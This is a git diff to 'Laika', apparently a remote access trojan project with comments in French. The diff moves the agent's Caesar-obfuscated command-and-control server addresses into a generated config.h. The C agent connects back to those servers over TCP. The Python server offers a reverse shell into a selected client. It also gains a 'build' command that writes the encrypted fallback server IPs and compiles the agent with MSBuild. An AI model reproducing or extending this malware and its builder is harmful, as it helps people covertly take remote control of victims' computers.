diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj
index dc03993..0aac14d 100644
--- a/Laika/Laika.vcxproj
+++ b/Laika/Laika.vcxproj
@@ -158,6 +158,7 @@
+
diff --git a/Laika/Laika.vcxproj.filters b/Laika/Laika.vcxproj.filters
index 9340471..52e5721 100644
--- a/Laika/Laika.vcxproj.filters
+++ b/Laika/Laika.vcxproj.filters
@@ -7,6 +7,9 @@
{9e95c751-2cb6-4c1e-9f06-96b14532a979}
+
+ {21b436ca-1cf6-4e3b-b4af-31279e56caf5}
+
@@ -26,5 +29,8 @@
Libs
+
+ Config
+
\ No newline at end of file
diff --git a/Laika/config.h b/Laika/config.h
new file mode 100644
index 0000000..eabc268
--- /dev/null
+++ b/Laika/config.h
@@ -0,0 +1,3 @@
+char* fallback_servers[1] = {
+ "=3=3=3=",
+};
\ No newline at end of file
diff --git a/Laika/main.c b/Laika/main.c
index 336d2f0..d50abde 100644
--- a/Laika/main.c
+++ b/Laika/main.c
@@ -2,6 +2,7 @@
#include
#include
#include "utils.h"
+#include "config.h"
#include "resolve_apis.h"
#define Sleep_TIME 30
@@ -106,18 +107,12 @@ void SendShellEndedSignal(SOCKET sock) {
#define FALLBACK_SERVERS 4
-char* fallback_servers[4];
int serv = -1;
int main() {
InitApis();
Message();
- fallback_servers[0] = CAESAR_DECRYPT("6>736;=3638:");
- fallback_servers[1] = CAESAR_DECRYPT("");
- fallback_servers[2] = CAESAR_DECRYPT("");
- fallback_servers[3] = CAESAR_DECRYPT("6>736;=36397");
-
Tmemset memset = Api.memset;
wchar_t wtext[20];
@@ -147,7 +142,7 @@ retry:
if (serv > FALLBACK_SERVERS - 1) {
serv = 0;
}
- server.sin_addr.s_addr = Api.inet_addr(fallback_servers[serv]);
+ server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(fallback_servers[serv]));
//Create socket
sock = Api.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
diff --git a/Server/Server.py b/Server/Server.py
index 91c6082..11c2264 100644
--- a/Server/Server.py
+++ b/Server/Server.py
@@ -120,6 +120,7 @@ def main() -> None :
print("select : sélectionne le client avec lequel intéragir")
print("deselect : désélectionne le client précédemment séléctionné avec \"select\"")
print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"")
+ print("build : build un client")
print("")
elif cmd == "exit" :
@@ -129,7 +130,39 @@ def main() -> None :
elif cmd == "clear" :
ban()
+
+ elif cmd == "build" :
+ print("")
+ nb_fallbacks = input("Nombre de serveurs de fallback : ")
+
+ if not nb_fallbacks.isdigit() or int(nb_fallbacks) < 0 :
+ print(f"\"{nb_fallbacks}\" n'est pas un nombre valide.")
+ continue
+ ips = []
+ for i in range(1, int(nb_fallbacks)+1) :
+ while True :
+ s_ip = input(f"IP du serveur {i} : ")
+ if "." in s_ip : #technique de shlag mais un nom de domaine peut pas être vérifié avec socket du coup on check juste le "."
+ ips.append(CAESAR(s_ip))
+ break
+
+ print("")
+ print("Écriture de la config...")
+ with open("../Laika/config.h", "w") as config :
+ config.write("char* fallback_servers["+nb_fallbacks+"] = {\n")
+ for ip in ips :
+ config.write(f"\t\"{ip}\",\n")
+ config.write("};")
+ print("Config écrite")
+
+ print("")
+ print("Compilation de l'agent..")
+ vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe
+ cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"
+
+ os.system("\""+cmd_line+"\" ../Laika /p:Configuration=Release;Platform=x86")
+
elif cmd == "clients" :
print("")
x = PrettyTable()
@@ -185,4 +218,4 @@ def main() -> None :
else :
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")
-main()
\ No newline at end of file
+main()
diff --git a/readme.md b/readme.md
index 98d3e91..e61eca3 100644
--- a/readme.md
+++ b/readme.md
@@ -22,6 +22,7 @@
# Server
* Fait en Python
+* Permet de build le client/faire la config
* Tout beau